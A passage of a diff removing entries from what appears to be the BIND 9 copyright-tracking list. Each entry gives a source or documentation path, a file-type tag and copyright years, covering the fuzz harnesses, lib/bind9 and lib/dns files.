-./doc/man/rndc.conf.rst				RST	2020,2021
-./doc/man/rndc.rst				RST	2020,2021
-./doc/man/tsig-keygen.rst			RST	2020,2021
-./doc/misc/cfg_test.c				C	2020,2021
-./doc/misc/delegation-only.zoneopt		X	2018,2019,2020
-./doc/misc/format-options.pl			PERL	2001,2004,2007,2012,2016,2018,2019,2020,2021
-./doc/misc/forward.zoneopt			X	2018,2019,2020
-./doc/misc/hint.zoneopt				X	2018,2019,2020
-./doc/misc/in-view.zoneopt			X	2018,2019,2020
-./doc/misc/master.zoneopt			X	2018,2019,2020
-./doc/misc/mirror.zoneopt			X	2018,2019,2020
-./doc/misc/named.conf.rst			RST	2020,2021
-./doc/misc/options				X	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./doc/misc/options.active			X	2019,2020,2021
-./doc/misc/redirect.zoneopt			X	2018,2019,2020
-./doc/misc/rfc-compliance			TXT.BRIEF	2001,2004,2015,2016,2018,2019,2020,2021
-./doc/misc/rst-grammars.pl			PERL	2020,2021
-./doc/misc/rst-options.pl			PERL	2020,2021
-./doc/misc/rst-zoneopt.pl			PERL	2020,2021
-./doc/misc/slave.zoneopt			X	2018,2019,2020
-./doc/misc/sort-options.pl			PERL	2007,2012,2016,2018,2019,2020,2021
-./doc/misc/static-stub.zoneopt			X	2018,2019,2020
-./doc/misc/stub.zoneopt				X	2018,2019,2020
-./docutil/HTML_COPYRIGHT			X	2001,2004,2016,2018,2019,2020,2021
-./docutil/MAN_COPYRIGHT				X	2001,2004,2016,2018,2019,2020,2021
-./docutil/patch-db2latex-duplicate-template-bug	X	2007,2018,2019,2020,2021
-./docutil/patch-db2latex-nested-param-bug	X	2007,2018,2019,2020,2021
-./docutil/patch-db2latex-xsltproc-title-bug	X	2007,2018,2019,2020,2021
-./fuzz/afl.sh					SH	2020,2021
-./fuzz/dns_message_parse.c			C	2020,2021
-./fuzz/dns_name_fromtext_target.c		C	2018,2019,2020,2021
-./fuzz/dns_rdata_fromwire_text.c		C	2019,2020,2021
-./fuzz/fuzz.h					C	2018,2019,2020,2021
-./fuzz/isc_lex_getmastertoken.c			C	2020,2021
-./fuzz/isc_lex_gettoken.c			C	2020,2021
-./fuzz/libfuzzer.sh				SH	2020,2021
-./fuzz/main.c					C	2018,2019,2020,2021
-./lib/bind9/check.c				C	2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/bind9/getaddresses.c			C	2001,2002,2004,2005,2007,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/bind9/include/bind9/check.h		C	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/bind9/include/bind9/getaddresses.h	C	2001,2004,2005,2006,2007,2009,2016,2017,2018,2019,2020,2021
-./lib/dns/acl.c					C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2011,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/adb.c					C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/badcache.c				C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/byaddr.c				C	2000,2001,2002,2003,2004,2005,2007,2009,2013,2016,2017,2018,2019,2020,2021
-./lib/dns/cache.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/callbacks.c				C	1999,2000,2001,2004,2005,2007,2011,2012,2015,2016,2018,2019,2020,2021
-./lib/dns/catz.c				C	2016,2017,2018,2019,2020,2021
-./lib/dns/client.c				C	2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/clientinfo.c				C	2011,2014,2016,2018,2019,2020,2021
-./lib/dns/compress.c				C	1999,2000,2001,2004,2005,2006,2007,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/db.c					C	1999,2000,2001,2003,2004,2005,2007,2008,2009,2011,2012,2013,2015,2016,2017,2018,2019
-./lib/dns/dbiterator.c				C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/diff.c				C	2000,2001,2002,2003,2004,2005,2007,2008,2009,2011,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/dispatch.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/dlz.c					C.PORTION	1999,2000,2001,2005,2007,2009,2010,2011,2012,2013,2015,2016,2018,2019,2020,2021
-./lib/dns/dns64.c				C	2010,2011,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/dnsrps.c				C	2017,2018,2019,2020,2021
-./lib/dns/dnssec.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/dnstap.c				C	2015,2016,2017,2018,2019,2020,2021
-./lib/dns/dnstap.proto				X	2015,2018,2019,2020,2021
-./lib/dns/ds.c					C	2002,2003,2004,2005,2006,2007,2010,2012,2014,2016,2018,2019,2020,2021
-./lib/dns/dst_api.c				C.NAI	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/dst_internal.h			C.NAI	2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/dst_openssl.h				C	2002,2004,2005,2007,2008,2009,2011,2012,2015,2016,2018,2019,2020,2021
-./lib/dns/dst_parse.c				C.NAI	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/dst_parse.h				C.NAI	2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2012,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/dst_pkcs11.h				C	2014,2016,2018,2019,2020,2021
-./lib/dns/dst_result.c				C	1999,2000,2001,2004,2005,2007,2008,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/dyndb.c				C	2015,2016,2017,2018,2019,2020,2021
-./lib/dns/ecs.c					C	2017,2018,2019,2020,2021
-./lib/dns/fixedname.c				C	2018,2019,2020,2021
-./lib/dns/forward.c				C	2000,2001,2004,2005,2007,2009,2013,2016,2018,2019,2020,2021
-./lib/dns/gen.c					C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/gen.h					C	1999,2000,2001,2004,2005,2007,2009,2016,2018,2019,2020,2021
-./lib/dns/geoip2.c				C	2019,2020,2021
-./lib/dns/gssapi_link.c				C	2000,2001,2002,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/gssapictx.c				C	2000,2001,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/hmac_link.c				C.NAI	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/acl.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2011,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/adb.h			C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2011,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/badcache.h		C	2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/bit.h			C	2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/byaddr.h			C	2000,2001,2002,2003,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/cache.h			C	1999,2000,2001,2004,2005,2006,2007,2009,2011,2012,2013,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/callbacks.h		C	1999,2000,2001,2002,2004,2005,2006,2007,2011,2012,2013,2016,2018,2019,2020,2021
-./lib/dns/include/dns/catz.h			C	2016,2018,2019,2020,2021
-./lib/dns/include/dns/cert.h			C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/client.h			C	2009,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/clientinfo.h		C	2011,2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/compress.h		C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/db.h			C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019
-./lib/dns/include/dns/dbiterator.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/diff.h			C	2000,2001,2004,2005,2006,2007,2008,2009,2010,2013,2016,2018,2019,2020,2021
-./lib/dns/include/dns/dispatch.h		C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/dlz.h			C.PORTION	1999,2000,2001,2005,2006,2007,2009,2010,2011,2012,2013,2016,2018,2019,2020,2021
-./lib/dns/include/dns/dlz_dlopen.h		C	2011,2012,2013,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/dns64.h			C	2010,2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/dnsrps.h			C	2017,2018,2019,2020,2021
-./lib/dns/include/dns/dnssec.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2010,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/dnstap.h			C	2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/ds.h			C	2002,2004,2005,2006,2007,2010,2012,2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/dsdigest.h		C	2012,2016,2018,2019,2020,2021
-./lib/dns/include/dns/dyndb.h			C	2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/ecs.h			C	2017,2018,2019,2020,2021
-./lib/dns/include/dns/edns.h			C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/events.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2010,2011,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/fixedname.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/forward.h			C	2000,2001,2004,2005,2006,2007,2009,2013,2016,2018,2019,2020,2021
-./lib/dns/include/dns/geoip.h			C	2013,2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/ipkeylist.h		C	2016,2018,2019,2020,2021
-./lib/dns/include/dns/iptable.h			C	2007,2012,2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/journal.h			C	1999,2000,2001,2004,2005,2006,2007,2008,2009,2011,2013,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/kasp.h			C	2019,2020,2021
-./lib/dns/include/dns/keydata.h			C	2009,2016,2018,2019,2020,2021
-./lib/dns/include/dns/keyflags.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/keymgr.h			C	2019,2020,2021
-./lib/dns/include/dns/keytable.h		C	2000,2001,2004,2005,2007,2009,2010,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/keyvalues.h		C	1999,2000,2001,2003,2004,2005,2006,2007,2008,2009,2010,2012,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/lib.h			C	1999,2000,2001,2004,2005,2006,2007,2009,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/librpz.h			C	2017,2018,2019,2020,2021
-./lib/dns/include/dns/log.h			C	1999,2000,2001,2003,2004,2005,2006,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/lookup.h			C	2000,2001,2004,2005,2006,2007,2009,2016,2018,2019,2020,2021
-./lib/dns/include/dns/master.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/masterdump.h		C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2011,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/message.h			C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/name.h			C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2009,2010,2011,2012,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/ncache.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2013,2016,2018,2019,2020,2021
-./lib/dns/include/dns/nsec.h			C	1999,2000,2001,2003,2004,2005,2006,2007,2008,2011,2012,2016,2018,2019,2020,2021
-./lib/dns/include/dns/nsec3.h			C	2008,2009,2010,2011,2012,2013,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/nta.h			C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/opcode.h			C	2002,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/order.h			C	2002,2004,2005,2006,2007,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/peer.h			C	2000,2001,2003,2004,2005,2006,2007,2008,2009,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/private.h			C	2009,2011,2012,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rbt.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/rcode.h			C	1999,2000,2001,2004,2005,2006,2007,2008,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rdata.h			C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/rdataclass.h		C	1998,1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rdatalist.h		C	1999,2000,2001,2004,2005,2006,2007,2008,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rdataset.h		C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/rdatasetiter.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rdataslab.h		C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rdatatype.h		C	1998,1999,2000,2001,2004,2005,2006,2007,2008,2016,2018,2019,2020,2021
-./lib/dns/include/dns/request.h			C	2000,2001,2002,2004,2005,2006,2007,2009,2010,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/resolver.h		C	1999,2000,2001,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/result.h			C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rootns.h			C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rpz.h			C	2011,2012,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/rriterator.h		C	2009,2011,2016,2018,2019,2020,2021
-./lib/dns/include/dns/rrl.h			C	2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/sdb.h			C	2000,2001,2004,2005,2006,2007,2009,2011,2012,2016,2018,2019,2020,2021
-./lib/dns/include/dns/sdlz.h			C.PORTION	1999,2000,2001,2005,2006,2007,2009,2010,2011,2012,2016,2018,2019,2020,2021
-./lib/dns/include/dns/secalg.h			C	1999,2000,2001,2004,2005,2006,2007,2009,2016,2018,2019,2020,2021
-./lib/dns/include/dns/secproto.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/soa.h			C	2000,2001,2004,2005,2006,2007,2009,2016,2018,2019,2020,2021
-./lib/dns/include/dns/ssu.h			C	2000,2001,2003,2004,2005,2006,2007,2008,2010,2011,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/stats.h			C	2000,2001,2004,2005,2006,2007,2008,2009,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/tcpmsg.h			C	1999,2000,2001,2004,2005,2006,2007,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/time.h			C	1999,2000,2001,2004,2005,2006,2007,2012,2016,2018,2019,2020,2021
-./lib/dns/include/dns/timer.h			C	2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/tkey.h			C	1999,2000,2001,2004,2005,2006,2007,2009,2010,2011,2016,2018,2019,2020,2021
-./lib/dns/include/dns/transport.h		C	2021
-./lib/dns/include/dns/tsec.h			C	2009,2010,2012,2016,2018,2019,2020,2021
-./lib/dns/include/dns/tsig.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2010,2011,2016,2018,2019,2020,2021
-./lib/dns/include/dns/ttl.h			C	1999,2000,2001,2004,2005,2006,2007,2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/types.h			C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/update.h			C	2011,2015,2016,2018,2019,2020,2021
-./lib/dns/include/dns/validator.h		C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2014,2016,2018,2019,2020,2021
-./lib/dns/include/dns/view.h			C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/xfrin.h			C	1999,2000,2001,2003,2004,2005,2006,2007,2009,2013,2016,2018,2019,2020,2021
-./lib/dns/include/dns/zone.h			C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dns/zonekey.h			C	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/include/dns/zoneverify.h		C	2018,2019,2020,2021
-./lib/dns/include/dns/zt.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2011,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dst/dst.h			C	2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dst/gssapi.h			C	2000,2001,2004,2005,2006,2007,2009,2010,2011,2013,2016,2017,2018,2019,2020,2021
-./lib/dns/include/dst/result.h			C	1999,2000,2001,2004,2005,2006,2007,2008,2012,2014,2016,2018,2019,2020,2021
-./lib/dns/ipkeylist.c				C	2016,2018,2019,2020,2021
-./lib/dns/iptable.c				C	2007,2008,2009,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/journal.c				C	1999,2000,2001,2002,2004,2005,2007,2008,2009,2010,2011,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/kasp.c				C	2019,2020,2021
-./lib/dns/key.c					C	2001,2004,2005,2006,2007,2011,2016,2018,2019,2020,2021
-./lib/dns/keydata.c				C	2009,2014,2016,2018,2019,2020,2021
-./lib/dns/keymgr.c				C	2019,2020,2021
-./lib/dns/keytable.c				C	2000,2001,2004,2005,2007,2009,2010,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/lib.c					C	1999,2000,2001,2004,2005,2007,2009,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/log.c					C	1999,2000,2001,2003,2004,2005,2006,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/lookup.c				C	2000,2001,2003,2004,2005,2007,2013,2016,2018,2019,2020,2021
-./lib/dns/master.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/masterdump.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/message.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/name.c				C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/ncache.c				C	1999,2000,2001,2002,2003,2004,2005,2007,2008,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/nsec.c				C	1999,2000,2001,2003,2004,2005,2007,2008,2009,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/nsec3.c				C	2006,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/nta.c					C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/openssl_link.c			C.NAI	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/openssldh_link.c			C.NAI	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/opensslecdsa_link.c			C	2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/openssleddsa_link.c			C	2017,2018,2019,2020,2021
-./lib/dns/opensslrsa_link.c			C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/order.c				C	2002,2004,2005,2007,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/peer.c				C	2000,2001,2003,2004,2005,2006,2007,2008,2009,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/pkcs11.c				C	2014,2016,2017,2018,2019,2020,2021
-./lib/dns/pkcs11ecdsa_link.c			C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/pkcs11eddsa_link.c			C	2017,2018,2019,2020,2021
-./lib/dns/pkcs11rsa_link.c			C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/private.c				C	2009,2011,2012,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rbt.c					C	1999,2000,2001,2002,2003,2004,2005,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rbtdb.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rbtdb.h				C	1999,2000,2001,2004,2005,2007,2011,2012,2016,2018,2019,2020,2021
-./lib/dns/rcode.c				C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata.c				C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/any_255/tsig_250.c		C	1999,2000,2001,2002,2003,2004,2005,2007,2009,2011,2012,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/any_255/tsig_250.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/ch_3/a_1.c			C	2005,2007,2009,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/ch_3/a_1.h			C	2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/afsdb_18.c		C	1999,2000,2001,2003,2004,2005,2007,2009,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/afsdb_18.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/amtrelay_260.c		C	2019,2020,2021
-./lib/dns/rdata/generic/amtrelay_260.h		C	2019,2020,2021
-./lib/dns/rdata/generic/avc_258.c		C	2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/avc_258.h		C	2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/caa_257.c		C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/caa_257.h		C	2014,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/cdnskey_60.c		C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/cdnskey_60.h		C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/cds_59.c		C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/cds_59.h		C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/cert_37.c		C	1999,2000,2001,2002,2003,2004,2005,2007,2009,2011,2012,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/cert_37.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/cname_5.c		C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/cname_5.h		C	1998,1999,2000,2001,2004,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/csync_62.c		C	2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/csync_62.h		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/dlv_32769.c		C	2004,2006,2007,2009,2010,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/dlv_32769.h		C	2004,2006,2007,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/dname_39.c		C	1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/dname_39.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/dnskey_48.c		C	2003,2004,2005,2007,2009,2011,2012,2013,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/dnskey_48.h		C	2003,2004,2005,2007,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/doa_259.c		C	2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/doa_259.h		C	2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/ds_43.c			C	2002,2004,2005,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/ds_43.h			C	2002,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/eui48_108.c		C	2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/eui48_108.h		C	2013,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/eui64_109.c		C	2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/eui64_109.h		C	2013,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/gpos_27.c		C	1999,2000,2001,2002,2004,2005,2007,2009,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/gpos_27.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/hinfo_13.c		C	1998,1999,2000,2001,2002,2004,2007,2009,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/hinfo_13.h		C	1998,1999,2000,2001,2004,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/hip_55.c		C	2009,2011,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/hip_55.h		C	2009,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/ipseckey_45.c		C	2005,2007,2009,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/ipseckey_45.h		C	2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/isdn_20.c		C	1999,2000,2001,2002,2004,2005,2007,2009,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/isdn_20.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/key_25.c		C	1999,2000,2001,2002,2003,2004,2005,2007,2009,2011,2012,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/key_25.h		C	1999,2000,2001,2004,2005,2007,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/keydata_65533.c		C	2009,2011,2012,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/keydata_65533.h		C	2009,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/l32_105.c		C	2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/l32_105.h		C	2013,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/l64_106.c		C	2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/l64_106.h		C	2013,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/loc_29.c		C	1999,2000,2001,2002,2003,2004,2005,2007,2009,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/loc_29.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
